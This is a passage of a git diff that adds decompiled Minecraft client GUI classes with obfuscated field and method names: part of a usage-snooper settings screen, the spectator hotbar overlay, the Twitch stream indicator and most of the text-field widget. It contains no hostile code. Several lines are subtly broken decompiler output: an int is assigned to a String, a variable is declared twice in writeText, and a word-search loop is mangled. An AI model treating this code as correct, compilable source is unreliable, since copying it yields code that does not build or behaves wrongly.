+    buttonList.add(this.field_146605_t = new GuiButton(1, width / 2 - 152, height - 30, 150, 20, game_settings_2.getKeyBinding(GameSettings.Options.SNOOPER_ENABLED)));
+    buttonList.add(new GuiButton(2, width / 2 + 2, height - 30, 150, 20, I18n.format("gui.done", new Object[0])));
+    boolean var6 = (mc.getIntegratedServer() != null) && (mc.getIntegratedServer().getPlayerUsageSnooper() != null);
+    Iterator var7 = new TreeMap(mc.getPlayerUsageSnooper().getCurrentStats()).entrySet().iterator();
+    
+
+    while (var7.hasNext())
+    {
+      Map.Entry var5 = (Map.Entry)var7.next();
+      field_146604_g.add((var6 ? "C " : "") + (String)var5.getKey());
+      field_146609_h.add(fontRendererObj.trimStringToWidth((String)var5.getValue(), width - 220));
+    }
+    
+    if (var6)
+    {
+      var7 = new TreeMap(mc.getIntegratedServer().getPlayerUsageSnooper().getCurrentStats()).entrySet().iterator();
+      
+      while (var7.hasNext())
+      {
+        Map.Entry var5 = (Map.Entry)var7.next();
+        field_146604_g.add("S " + (String)var5.getKey());
+        field_146609_h.add(fontRendererObj.trimStringToWidth((String)var5.getValue(), width - 220));
+      }
+    }
+    
+    field_146606_s = new List();
+  }
+  
+
+
+  public void handleMouseInput()
+    throws java.io.IOException
+  {
+    super.handleMouseInput();
+    field_146606_s.func_178039_p();
+  }
+  
+  protected void actionPerformed(GuiButton button) throws java.io.IOException
+  {
+    if (enabled)
+    {
+      if (id == 2)
+      {
+        game_settings_2.saveOptions();
+        game_settings_2.saveOptions();
+        mc.displayGuiScreen(field_146608_a);
+      }
+      
+      if (id == 1)
+      {
+        game_settings_2.setOptionValue(GameSettings.Options.SNOOPER_ENABLED, 1);
+        field_146605_t.displayString = game_settings_2.getKeyBinding(GameSettings.Options.SNOOPER_ENABLED);
+      }
+    }
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    drawDefaultBackground();
+    field_146606_s.drawScreen(mouseX, mouseY, partialTicks);
+    drawCenteredString(fontRendererObj, field_146610_i, width / 2, 8, 16777215);
+    int var4 = 22;
+    String[] var5 = field_146607_r;
+    int var6 = var5.length;
+    
+    for (int var7 = 0; var7 < var6; var7++)
+    {
+      String var8 = var5[var7];
+      drawCenteredString(fontRendererObj, var8, width / 2, var4, 8421504);
+      var4 += fontRendererObj.FONT_HEIGHT;
+    }
+    
+    super.drawScreen(mouseX, mouseY, partialTicks);
+  }
+  
+  class List extends GuiSlot
+  {
+    private static final String __OBFID = "CL_00000715";
+    
+    public List()
+    {
+      super(width, height, 80, height - 40, fontRendererObj.FONT_HEIGHT + 1);
+    }
+    
+    protected int getSize()
+    {
+      return field_146604_g.size();
+    }
+    
+    protected void elementClicked(int slotIndex, boolean isDoubleClick, int mouseX, int mouseY) {}
+    
+    protected boolean isSelected(int slotIndex)
+    {
+      return false;
+    }
+    
+    protected void drawBackground() {}
+    
+    protected void drawSlot(int p_180791_1_, int p_180791_2_, int p_180791_3_, int p_180791_4_, int p_180791_5_, int p_180791_6_)
+    {
+      fontRendererObj.drawString((String)field_146604_g.get(p_180791_1_), 10, p_180791_3_, 16777215);
+      fontRendererObj.drawString((String)field_146609_h.get(p_180791_1_), 230, p_180791_3_, 16777215);
+    }
+    
+    protected int getScrollBarX()
+    {
+      return width - 10;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiSpectator.java b/src/minecraft/net/minecraft/client/gui/GuiSpectator.java
new file mode 100644
index 0000000..5107173
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiSpectator.java
@@ -0,0 +1,187 @@
+package net.minecraft.client.gui;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.spectator.ISpectatorMenuObject;
+import net.minecraft.client.gui.spectator.SpectatorMenu;
+import net.minecraft.client.gui.spectator.categories.SpectatorDetails;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.RenderHelper;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.ResourceLocation;
+
+public class GuiSpectator extends Gui implements net.minecraft.client.gui.spectator.ISpectatorMenuReciepient
+{
+  private static final ResourceLocation field_175267_f = new ResourceLocation("textures/gui/widgets.png");
+  public static final ResourceLocation field_175269_a = new ResourceLocation("textures/gui/spectator_widgets.png");
+  private final Minecraft field_175268_g;
+  private long field_175270_h;
+  private SpectatorMenu field_175271_i;
+  private static final String __OBFID = "CL_00001940";
+  
+  public GuiSpectator(Minecraft mcIn)
+  {
+    field_175268_g = mcIn;
+  }
+  
+  public void func_175260_a(int p_175260_1_)
+  {
+    field_175270_h = Minecraft.getSystemTime();
+    
+    if (field_175271_i != null)
+    {
+      field_175271_i.func_178644_b(p_175260_1_);
+    }
+    else
+    {
+      field_175271_i = new SpectatorMenu(this);
+    }
+  }
+  
+  private float func_175265_c()
+  {
+    long var1 = field_175270_h - Minecraft.getSystemTime() + 5000L;
+    return net.minecraft.util.MathHelper.clamp_float((float)var1 / 2000.0F, 0.0F, 1.0F);
+  }
+  
+  public void func_175264_a(ScaledResolution p_175264_1_, float p_175264_2_)
+  {
+    if (field_175271_i != null)
+    {
+      float var3 = func_175265_c();
+      
+      if (var3 <= 0.0F)
+      {
+        field_175271_i.func_178641_d();
+      }
+      else
+      {
+        int var4 = p_175264_1_.getScaledWidth() / 2;
+        float var5 = zLevel;
+        zLevel = -90.0F;
+        float var6 = p_175264_1_.getScaledHeight() - 22.0F * var3;
+        SpectatorDetails var7 = field_175271_i.func_178646_f();
+        func_175258_a(p_175264_1_, var3, var4, var6, var7);
+        zLevel = var5;
+      }
+    }
+  }
+  
+  protected void func_175258_a(ScaledResolution p_175258_1_, float p_175258_2_, int p_175258_3_, float p_175258_4_, SpectatorDetails p_175258_5_)
+  {
+    GlStateManager.enableRescaleNormal();
+    GlStateManager.enableBlend();
+    GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+    GlStateManager.color(1.0F, 1.0F, 1.0F, p_175258_2_);
+    field_175268_g.getTextureManager().bindTexture(field_175267_f);
+    func_175174_a(p_175258_3_ - 91, p_175258_4_, 0, 0, 182, 22);
+    
+    if (p_175258_5_.func_178681_b() >= 0)
+    {
+      func_175174_a(p_175258_3_ - 91 - 1 + p_175258_5_.func_178681_b() * 20, p_175258_4_ - 1.0F, 0, 22, 24, 22);
+    }
+    
+    RenderHelper.enableGUIStandardItemLighting();
+    
+    for (int var6 = 0; var6 < 9; var6++)
+    {
+      func_175266_a(var6, p_175258_1_.getScaledWidth() / 2 - 90 + var6 * 20 + 2, p_175258_4_ + 3.0F, p_175258_2_, p_175258_5_.func_178680_a(var6));
+    }
+    
+    RenderHelper.disableStandardItemLighting();
+    GlStateManager.disableRescaleNormal();
+    GlStateManager.disableBlend();
+  }
+  
+  private void func_175266_a(int p_175266_1_, int p_175266_2_, float p_175266_3_, float p_175266_4_, ISpectatorMenuObject p_175266_5_)
+  {
+    field_175268_g.getTextureManager().bindTexture(field_175269_a);
+    
+    if (p_175266_5_ != SpectatorMenu.field_178657_a)
+    {
+      int var6 = (int)(p_175266_4_ * 255.0F);
+      GlStateManager.pushMatrix();
+      GlStateManager.translate(p_175266_2_, p_175266_3_, 0.0F);
+      float var7 = p_175266_5_.func_178662_A_() ? 1.0F : 0.25F;
+      GlStateManager.color(var7, var7, var7, p_175266_4_);
+      p_175266_5_.func_178663_a(var7, var6);
+      GlStateManager.popMatrix();
+      String var8 = String.valueOf(GameSettings.getKeyDisplayString(field_175268_g.gameSettings.keyBindsHotbar[p_175266_1_].getKeyCode()));
+      
+      if ((var6 > 3) && (p_175266_5_.func_178662_A_()))
+      {
+        field_175268_g.fontRendererObj.drawStringWithShadow(var8, p_175266_2_ + 19 - 2 - field_175268_g.fontRendererObj.getStringWidth(var8), p_175266_3_ + 6.0F + 3.0F, 16777215 + (var6 << 24));
+      }
+    }
+  }
+  
+  public void func_175263_a(ScaledResolution p_175263_1_)
+  {
+    int var2 = (int)(func_175265_c() * 255.0F);
+    
+    if ((var2 > 3) && (field_175271_i != null))
+    {
+      ISpectatorMenuObject var3 = field_175271_i.func_178645_b();
+      String var4 = var3 != SpectatorMenu.field_178657_a ? var3.func_178664_z_().getFormattedText() : field_175271_i.func_178650_c().func_178670_b().getFormattedText();
+      
+      if (var4 != null)
+      {
+        int var5 = (p_175263_1_.getScaledWidth() - field_175268_g.fontRendererObj.getStringWidth(var4)) / 2;
+        int var6 = p_175263_1_.getScaledHeight() - 35;
+        GlStateManager.pushMatrix();
+        GlStateManager.enableBlend();
+        GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+        field_175268_g.fontRendererObj.drawStringWithShadow(var4, var5, var6, 16777215 + (var2 << 24));
+        GlStateManager.disableBlend();
+        GlStateManager.popMatrix();
+      }
+    }
+  }
+  
+  public void func_175257_a(SpectatorMenu p_175257_1_)
+  {
+    field_175271_i = null;
+    field_175270_h = 0L;
+  }
+  
+  public boolean func_175262_a()
+  {
+    return field_175271_i != null;
+  }
+  
+
+
+  public void func_175259_b(int p_175259_1_)
+  {
+    for (int var2 = field_175271_i.func_178648_e() + p_175259_1_; (var2 >= 0) && (var2 <= 8) && ((field_175271_i.func_178643_a(var2) == SpectatorMenu.field_178657_a) || (!field_175271_i.func_178643_a(var2).func_178662_A_())); var2 += p_175259_1_) {}
+    
+
+
+
+    if ((var2 >= 0) && (var2 <= 8))
+    {
+      field_175271_i.func_178644_b(var2);
+      field_175270_h = Minecraft.getSystemTime();
+    }
+  }
+  
+  public void func_175261_b()
+  {
+    field_175270_h = Minecraft.getSystemTime();
+    
+    if (func_175262_a())
+    {
+      int var1 = field_175271_i.func_178648_e();
+      
+      if (var1 != -1)
+      {
+        field_175271_i.func_178644_b(var1);
+      }
+    }
+    else
+    {
+      field_175271_i = new SpectatorMenu(this);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiStreamIndicator.java b/src/minecraft/net/minecraft/client/gui/GuiStreamIndicator.java
new file mode 100644
index 0000000..5443644
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiStreamIndicator.java
@@ -0,0 +1,109 @@
+package net.minecraft.client.gui;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.stream.IStream;
+
+public class GuiStreamIndicator
+{
+  private static final net.minecraft.util.ResourceLocation locationStreamIndicator = new net.minecraft.util.ResourceLocation("textures/gui/stream_indicator.png");
+  private final Minecraft mc;
+  private float field_152443_c = 1.0F;
+  private int field_152444_d = 1;
+  private static final String __OBFID = "CL_00001849";
+  
+  public GuiStreamIndicator(Minecraft mcIn)
+  {
+    mc = mcIn;
+  }
+  
+  public void render(int p_152437_1_, int p_152437_2_)
+  {
+    if (mc.getTwitchStream().func_152934_n())
+    {
+      GlStateManager.enableBlend();
+      int var3 = mc.getTwitchStream().func_152920_A();
+      
+      if (var3 > 0)
+      {
+        String var4 = var3;
+        int var5 = mc.fontRendererObj.getStringWidth(var4);
+        boolean var6 = true;
+        int var7 = p_152437_1_ - var5 - 1;
+        int var8 = p_152437_2_ + 20 - 1;
+        int var10 = p_152437_2_ + 20 + mc.fontRendererObj.FONT_HEIGHT - 1;
+        GlStateManager.func_179090_x();
+        Tessellator var11 = Tessellator.getInstance();
+        WorldRenderer var12 = var11.getWorldRenderer();
+        GlStateManager.color(0.0F, 0.0F, 0.0F, (0.65F + 0.35000002F * field_152443_c) / 2.0F);
+        var12.startDrawingQuads();
+        var12.addVertex(var7, var10, 0.0D);
+        var12.addVertex(p_152437_1_, var10, 0.0D);
+        var12.addVertex(p_152437_1_, var8, 0.0D);
+        var12.addVertex(var7, var8, 0.0D);
+        var11.draw();
+        GlStateManager.func_179098_w();
+        mc.fontRendererObj.drawString(var4, p_152437_1_ - var5, p_152437_2_ + 20, 16777215);
+      }
+      
+      render(p_152437_1_, p_152437_2_, func_152440_b(), 0);
+      render(p_152437_1_, p_152437_2_, func_152438_c(), 17);
+    }
+  }
+  
+  private void render(int p_152436_1_, int p_152436_2_, int p_152436_3_, int p_152436_4_)
+  {
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 0.65F + 0.35000002F * field_152443_c);
+    mc.getTextureManager().bindTexture(locationStreamIndicator);
+    float var5 = 150.0F;
+    float var6 = 0.0F;
+    float var7 = p_152436_3_ * 0.015625F;
+    float var8 = 1.0F;
+    float var9 = (p_152436_3_ + 16) * 0.015625F;
+    Tessellator var10 = Tessellator.getInstance();
+    WorldRenderer var11 = var10.getWorldRenderer();
+    var11.startDrawingQuads();
+    var11.addVertexWithUV(p_152436_1_ - 16 - p_152436_4_, p_152436_2_ + 16, var5, var6, var9);
+    var11.addVertexWithUV(p_152436_1_ - p_152436_4_, p_152436_2_ + 16, var5, var8, var9);
+    var11.addVertexWithUV(p_152436_1_ - p_152436_4_, p_152436_2_ + 0, var5, var8, var7);
+    var11.addVertexWithUV(p_152436_1_ - 16 - p_152436_4_, p_152436_2_ + 0, var5, var6, var7);
+    var10.draw();
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+  }
+  
+  private int func_152440_b()
+  {
+    return mc.getTwitchStream().isPaused() ? 16 : 0;
+  }
+  
+  private int func_152438_c()
+  {
+    return mc.getTwitchStream().func_152929_G() ? 48 : 32;
+  }
+  
+  public void func_152439_a()
+  {
+    if (mc.getTwitchStream().func_152934_n())
+    {
+      field_152443_c += 0.025F * field_152444_d;
+      
+      if (field_152443_c < 0.0F)
+      {
+        field_152444_d *= -1;
+        field_152443_c = 0.0F;
+      }
+      else if (field_152443_c > 1.0F)
+      {
+        field_152444_d *= -1;
+        field_152443_c = 1.0F;
+      }
+    }
+    else
+    {
+      field_152443_c = 1.0F;
+      field_152444_d = 1;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiTextField.java b/src/minecraft/net/minecraft/client/gui/GuiTextField.java
new file mode 100644
index 0000000..af9991d
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiTextField.java
@@ -0,0 +1,814 @@
+package net.minecraft.client.gui;
+
+import com.google.common.base.Predicate;
+import com.google.common.base.Predicates;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.util.ChatAllowedCharacters;
+import net.minecraft.util.MathHelper;
+
+
+
+
+public class GuiTextField
+  extends Gui
+{
+  private final int field_175208_g;
+  private final FontRenderer fontRendererInstance;
+  public int xPosition;
+  public int yPosition;
+  private final int width;
+  private final int height;
+  private String text = "";
+  private int maxStringLength = 32;
+  private int cursorCounter;
+  private boolean enableBackgroundDrawing = true;
+  
+
+
+
+  private boolean canLoseFocus = true;
+  
+
+
+
+  private boolean isFocused;
+  
+
+
+
+  private boolean isEnabled = true;
+  
+
+  private int lineScrollOffset;
+  
+
+  private int cursorPosition;
+  
+  private int selectionEnd;
+  
+  private int enabledColor = 14737632;
+  private int disabledColor = 7368816;
+  
+
+  private boolean visible = true;
+  private GuiPageButtonList.GuiResponder field_175210_x;
+  private Predicate field_175209_y = Predicates.alwaysTrue();
+  private static final String __OBFID = "CL_00000670";
+  
+  public GuiTextField(int p_i45542_1_, FontRenderer p_i45542_2_, int p_i45542_3_, int p_i45542_4_, int p_i45542_5_, int p_i45542_6_)
+  {
+    field_175208_g = p_i45542_1_;
+    fontRendererInstance = p_i45542_2_;
+    xPosition = p_i45542_3_;
+    yPosition = p_i45542_4_;
+    width = p_i45542_5_;
+    height = p_i45542_6_;
+  }
+  
+  public void func_175207_a(GuiPageButtonList.GuiResponder p_175207_1_)
+  {
+    field_175210_x = p_175207_1_;
+  }
+  
+
+
+
+  public void updateCursorCounter()
+  {
+    cursorCounter += 1;
+  }
+  
+
+
+
+  public void setText(String p_146180_1_)
+  {
+    if (field_175209_y.apply(p_146180_1_))
+    {
+      if (p_146180_1_.length() > maxStringLength)
+      {
+        text = p_146180_1_.substring(0, maxStringLength);
+      }
+      else
+      {
+        text = p_146180_1_;
+      }
+      
+      setCursorPositionEnd();
+    }
+  }
+  
+
+
+
+  public String getText()
+  {
+    return text;
+  }
+  
+
+
+
+  public String getSelectedText()
+  {
+    int var1 = cursorPosition < selectionEnd ? cursorPosition : selectionEnd;
+    int var2 = cursorPosition < selectionEnd ? selectionEnd : cursorPosition;
+    return text.substring(var1, var2);
+  }
+  
+  public void func_175205_a(Predicate p_175205_1_)
+  {
+    field_175209_y = p_175205_1_;
+  }
+  
+
+
+
+  public void writeText(String p_146191_1_)
+  {
+    String var2 = "";
+    String var3 = ChatAllowedCharacters.filterAllowedCharacters(p_146191_1_);
+    int var4 = cursorPosition < selectionEnd ? cursorPosition : selectionEnd;
+    int var5 = cursorPosition < selectionEnd ? selectionEnd : cursorPosition;
+    int var6 = maxStringLength - text.length() - (var4 - var5);
+    boolean var7 = false;
+    
+    if (text.length() > 0)
+    {
+      var2 = var2 + text.substring(0, var4);
+    }
+    
+    int var8;
+    int var8;
+    if (var6 < var3.length())
+    {
+      var2 = var2 + var3.substring(0, var6);
+      var8 = var6;
+    }
+    else
+    {
+      var2 = var2 + var3;
+      var8 = var3.length();
+    }
+    
+    if ((text.length() > 0) && (var5 < text.length()))
+    {
+      var2 = var2 + text.substring(var5);
+    }
+    
+    if (field_175209_y.apply(var2))
+    {
+      text = var2;
+      moveCursorBy(var4 - selectionEnd + var8);
+      
+      if (field_175210_x != null)
+      {
+        field_175210_x.func_175319_a(field_175208_g, text);
+      }
+    }
+  }
+  
+
+
+
+
+  public void deleteWords(int p_146177_1_)
+  {
+    if (text.length() != 0)
+    {
+      if (selectionEnd != cursorPosition)
+      {
+        writeText("");
+      }
+      else
+      {
+        deleteFromCursor(getNthWordFromCursor(p_146177_1_) - cursorPosition);
+      }
+    }
+  }
+  
+
+
+
+  public void deleteFromCursor(int p_146175_1_)
+  {
+    if (text.length() != 0)
+    {
+      if (selectionEnd != cursorPosition)
+      {
+        writeText("");
+      }
+      else
+      {
+        boolean var2 = p_146175_1_ < 0;
+        int var3 = var2 ? cursorPosition + p_146175_1_ : cursorPosition;
+        int var4 = var2 ? cursorPosition : cursorPosition + p_146175_1_;
+        String var5 = "";
+        
+        if (var3 >= 0)
+        {
+          var5 = text.substring(0, var3);
+        }
+        
+        if (var4 < text.length())
+        {
+          var5 = var5 + text.substring(var4);
+        }
+        
+        text = var5;
+        
+        if (var2)
+        {
+          moveCursorBy(p_146175_1_);
+        }
+        
+        if (field_175210_x != null)
+        {
+          field_175210_x.func_175319_a(field_175208_g, text);
+        }
+      }
+    }
+  }
+  
+  public int func_175206_d()
+  {
+    return field_175208_g;
+  }
+  
+
+
+
+  public int getNthWordFromCursor(int p_146187_1_)
+  {
+    return getNthWordFromPos(p_146187_1_, getCursorPosition());
+  }
+  
+
+
+
+  public int getNthWordFromPos(int p_146183_1_, int p_146183_2_)
+  {
+    return func_146197_a(p_146183_1_, p_146183_2_, true);
+  }
+  
+  public int func_146197_a(int p_146197_1_, int p_146197_2_, boolean p_146197_3_)
+  {
+    int var4 = p_146197_2_;
+    boolean var5 = p_146197_1_ < 0;
+    int var6 = Math.abs(p_146197_1_);
+    
+    for (int var7 = 0; var7 < var6; var7++)
+    {
+      if (var5)
+      {
+        for (;;)
+        {
+          var4--;
+          if ((p_146197_3_) && (var4 > 0)) { if (text.charAt(var4 - 1) != ' ') {
+              break;
+            }
+          }
+        }
+        do
+        {
+          var4--;
+          if (var4 <= 0) break; } while (text.charAt(var4 - 1) != ' ');
+
+
+      }
+      else
+      {
+
+        int var8 = text.length();
+        var4 = text.indexOf(' ', var4);
+        
+        if (var4 == -1)
+        {
+          var4 = var8;
+        }
+        else
+        {
+          while ((p_146197_3_) && (var4 < var8) && (text.charAt(var4) == ' '))
+          {
+            var4++;
+          }
+        }
+      }
+    }
+    
+    return var4;
+  }
+  
+
+
+
+  public void moveCursorBy(int p_146182_1_)
+  {
+    setCursorPosition(selectionEnd + p_146182_1_);
+  }
+  
+
+
+
+  public void setCursorPosition(int p_146190_1_)
+  {
+    cursorPosition = p_146190_1_;
+    int var2 = text.length();
+    cursorPosition = MathHelper.clamp_int(cursorPosition, 0, var2);
+    setSelectionPos(cursorPosition);
+  }
+  
+
+
+
+  public void setCursorPositionZero()
+  {
+    setCursorPosition(0);
+  }
+  
+
+
+
+  public void setCursorPositionEnd()
+  {
+    setCursorPosition(text.length());
+  }
+  
+
+
+
+  public boolean textboxKeyTyped(char p_146201_1_, int p_146201_2_)
+  {
+    if (!isFocused)
+    {
+      return false;
+    }
+    if (GuiScreen.func_175278_g(p_146201_2_))
+    {
+      setCursorPositionEnd();
+      setSelectionPos(0);
+      return true;
+    }
+    if (GuiScreen.func_175280_f(p_146201_2_))
+    {
+      GuiScreen.setClipboardString(getSelectedText());
+      return true;
+    }
+    if (GuiScreen.func_175279_e(p_146201_2_))
+    {
+      if (isEnabled)
+      {
+        writeText(GuiScreen.getClipboardString());
+      }
+      
+      return true;
+    }
+    if (GuiScreen.func_175277_d(p_146201_2_))
+    {
+      GuiScreen.setClipboardString(getSelectedText());
+      
+      if (isEnabled)
+      {
+        writeText("");
+      }
+      
+      return true;
+    }
+    
+
+    switch (p_146201_2_)
+    {
+    case 14: 
+      if (GuiScreen.isCtrlKeyDown())
+      {
+        if (isEnabled)
+        {
+          deleteWords(-1);
+        }
+      }
+      else if (isEnabled)
+      {
+        deleteFromCursor(-1);
+      }
+      
+      return true;
+    
+    case 199: 
+      if (GuiScreen.isShiftKeyDown())
+      {
+        setSelectionPos(0);
+      }
+      else
+      {
+        setCursorPositionZero();
+      }
+      
+      return true;
+    
+    case 203: 
+      if (GuiScreen.isShiftKeyDown())
+      {
+        if (GuiScreen.isCtrlKeyDown())
+        {
+          setSelectionPos(getNthWordFromPos(-1, getSelectionEnd()));
+        }
+        else
+        {
+          setSelectionPos(getSelectionEnd() - 1);
+        }
+      }
+      else if (GuiScreen.isCtrlKeyDown())
+      {
+        setCursorPosition(getNthWordFromCursor(-1));
+      }
+      else
+      {
+        moveCursorBy(-1);
+      }
+      
+      return true;
+    
+    case 205: 
+      if (GuiScreen.isShiftKeyDown())
+      {
+        if (GuiScreen.isCtrlKeyDown())
+        {
+          setSelectionPos(getNthWordFromPos(1, getSelectionEnd()));
+        }
+        else
+        {
+          setSelectionPos(getSelectionEnd() + 1);
+        }
+      }
+      else if (GuiScreen.isCtrlKeyDown())
+      {
+        setCursorPosition(getNthWordFromCursor(1));
+      }
+      else
+      {
+        moveCursorBy(1);
+      }
+      
+      return true;
+    
+    case 207: 
+      if (GuiScreen.isShiftKeyDown())
+      {
+        setSelectionPos(text.length());
+      }
+      else
+      {
+        setCursorPositionEnd();
+      }
+      
+      return true;
+    
+    case 211: 
+      if (GuiScreen.isCtrlKeyDown())
+      {
+        if (isEnabled)
+        {
+          deleteWords(1);
+        }
+      }
+      else if (isEnabled)
+      {
+        deleteFromCursor(1);
+      }
+      
+      return true;
+    }
+    
+    if (ChatAllowedCharacters.isAllowedCharacter(p_146201_1_))
+    {
+      if (isEnabled)
+      {
+        writeText(Character.toString(p_146201_1_));
+      }
+      
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+
+
+
+
+
+  public void mouseClicked(int p_146192_1_, int p_146192_2_, int p_146192_3_)
+  {
+    boolean var4 = (p_146192_1_ >= xPosition) && (p_146192_1_ < xPosition + width) && (p_146192_2_ >= yPosition) && (p_146192_2_ < yPosition + height);
+    
+    if (canLoseFocus)
+    {
+      setFocused(var4);
+    }
+    
+    if ((isFocused) && (var4) && (p_146192_3_ == 0))
+    {
+      int var5 = p_146192_1_ - xPosition;
+      
+      if (enableBackgroundDrawing)
+      {
+        var5 -= 4;
+      }
+      
+      String var6 = fontRendererInstance.trimStringToWidth(text.substring(lineScrollOffset), getWidth());
+      setCursorPosition(fontRendererInstance.trimStringToWidth(var6, var5).length() + lineScrollOffset);
+    }
+  }
+  
+
+
+
+  public void drawTextBox()
+  {
+    if (getVisible())
+    {
+      if (getEnableBackgroundDrawing())
+      {
+        drawRect(xPosition - 1, yPosition - 1, xPosition + width + 1, yPosition + height + 1, -6250336);
+        drawRect(xPosition, yPosition, xPosition + width, yPosition + height, -16777216);
+      }
+      
+      int var1 = isEnabled ? enabledColor : disabledColor;
+      int var2 = cursorPosition - lineScrollOffset;
+      int var3 = selectionEnd - lineScrollOffset;
+      String var4 = fontRendererInstance.trimStringToWidth(text.substring(lineScrollOffset), getWidth());
+      boolean var5 = (var2 >= 0) && (var2 <= var4.length());
+      boolean var6 = (isFocused) && (cursorCounter / 6 % 2 == 0) && (var5);
+      int var7 = enableBackgroundDrawing ? xPosition + 4 : xPosition;
+      int var8 = enableBackgroundDrawing ? yPosition + (height - 8) / 2 : yPosition;
+      int var9 = var7;
+      
+      if (var3 > var4.length())
+      {
+        var3 = var4.length();
+      }
+      
+      if (var4.length() > 0)
+      {
+        String var10 = var5 ? var4.substring(0, var2) : var4;
+        var9 = fontRendererInstance.drawStringWithShadow(var10, var7, var8, var1);
+      }
+      
+      boolean var13 = (cursorPosition < text.length()) || (text.length() >= getMaxStringLength());
+      int var11 = var9;
+      
+      if (!var5)
+      {
+        var11 = var2 > 0 ? var7 + width : var7;
+      }
+      else if (var13)
+      {
+        var11 = var9 - 1;
+        var9--;
+      }
+      
+      if ((var4.length() > 0) && (var5) && (var2 < var4.length()))
+      {
+        var9 = fontRendererInstance.drawStringWithShadow(var4.substring(var2), var9, var8, var1);
+      }
+      
+      if (var6)
+      {
+        if (var13)
+        {
+          Gui.drawRect(var11, var8 - 1, var11 + 1, var8 + 1 + fontRendererInstance.FONT_HEIGHT, -3092272);
+        }
+        else
+        {
+          fontRendererInstance.drawStringWithShadow("_", var11, var8, var1);
+        }
+      }
+      
+      if (var3 != var2)
+      {
+        int var12 = var7 + fontRendererInstance.getStringWidth(var4.substring(0, var3));
+        drawCursorVertical(var11, var8 - 1, var12 - 1, var8 + 1 + fontRendererInstance.FONT_HEIGHT);
+      }
+    }
+  }
+  
+
+
+
+
+
+  private void drawCursorVertical(int p_146188_1_, int p_146188_2_, int p_146188_3_, int p_146188_4_)
+  {
+    if (p_146188_1_ < p_146188_3_)
+    {
+      int var5 = p_146188_1_;
+      p_146188_1_ = p_146188_3_;
+      p_146188_3_ = var5;
+    }
+    
+    if (p_146188_2_ < p_146188_4_)
+    {
+      int var5 = p_146188_2_;
+      p_146188_2_ = p_146188_4_;
+      p_146188_4_ = var5;
+    }
+    
+    if (p_146188_3_ > xPosition + width)
+    {
+      p_146188_3_ = xPosition + width;
+    }
+    
+    if (p_146188_1_ > xPosition + width)
+    {
+      p_146188_1_ = xPosition + width;
+    }
+    
+    Tessellator var7 = Tessellator.getInstance();
+    WorldRenderer var6 = var7.getWorldRenderer();
+    GlStateManager.color(0.0F, 0.0F, 255.0F, 255.0F);
+    GlStateManager.func_179090_x();
+    GlStateManager.enableColorLogic();
+    GlStateManager.colorLogicOp(5387);
+    var6.startDrawingQuads();
+    var6.addVertex(p_146188_1_, p_146188_4_, 0.0D);
+    var6.addVertex(p_146188_3_, p_146188_4_, 0.0D);
+    var6.addVertex(p_146188_3_, p_146188_2_, 0.0D);
+    var6.addVertex(p_146188_1_, p_146188_2_, 0.0D);
+    var7.draw();
+    GlStateManager.disableColorLogic();
+    GlStateManager.func_179098_w();
+  }
+  
+  public void setMaxStringLength(int p_146203_1_)
+  {
+    maxStringLength = p_146203_1_;
+    
+    if (text.length() > p_146203_1_)
+    {
+      text = text.substring(0, p_146203_1_);
+    }
+  }
+  
+
+
+
+  public int getMaxStringLength()
+  {
+    return maxStringLength;
+  }
+  
+
+
+
+  public int getCursorPosition()
+  {
+    return cursorPosition;
+  }
+  
+
+
+
+  public boolean getEnableBackgroundDrawing()
+  {
+    return enableBackgroundDrawing;
+  }
+  
+
+
+
+  public void setEnableBackgroundDrawing(boolean p_146185_1_)
+  {
+    enableBackgroundDrawing = p_146185_1_;
+  }
+  
+
+
+
+  public void setTextColor(int p_146193_1_)
+  {
+    enabledColor = p_146193_1_;
+  }
+  
+  public void setDisabledTextColour(int p_146204_1_)
+  {
+    disabledColor = p_146204_1_;
+  }
+  
+
+
+
+  public void setFocused(boolean p_146195_1_)
+  {
+    if ((p_146195_1_) && (!isFocused))
+    {
+      cursorCounter = 0;
+    }
+    
+    isFocused = p_146195_1_;
+  }
+  
+
+
+
+  public boolean isFocused()
+  {
+    return isFocused;
+  }
+  
+  public void setEnabled(boolean p_146184_1_)
+  {
+    isEnabled = p_146184_1_;
+  }
+  
+
+
+
+  public int getSelectionEnd()
+  {
+    return selectionEnd;
+  }
+  
+
+
+
+  public int getWidth()
+  {
+    return getEnableBackgroundDrawing() ? width - 8 : width;
+  }
+  
+
+
+
+  public void setSelectionPos(int p_146199_1_)
+  {
+    int var2 = text.length();
+    
+    if (p_146199_1_ > var2)
+    {
+      p_146199_1_ = var2;
+    }
+    
+    if (p_146199_1_ < 0)
+    {
+      p_146199_1_ = 0;
+    }
+    
+    selectionEnd = p_146199_1_;
+    
+    if (fontRendererInstance != null)
+    {
+      if (lineScrollOffset > var2)
+      {
+        lineScrollOffset = var2;
+      }
+      
+      int var3 = getWidth();
+      String var4 = fontRendererInstance.trimStringToWidth(text.substring(lineScrollOffset), var3);
+      int var5 = var4.length() + lineScrollOffset;
+      
+      if (p_146199_1_ == lineScrollOffset)
+      {
+        lineScrollOffset -= fontRendererInstance.trimStringToWidth(text, var3, true).length();
+      }
+      
+      if (p_146199_1_ > var5)
+      {
+        lineScrollOffset += p_146199_1_ - var5;
+      }
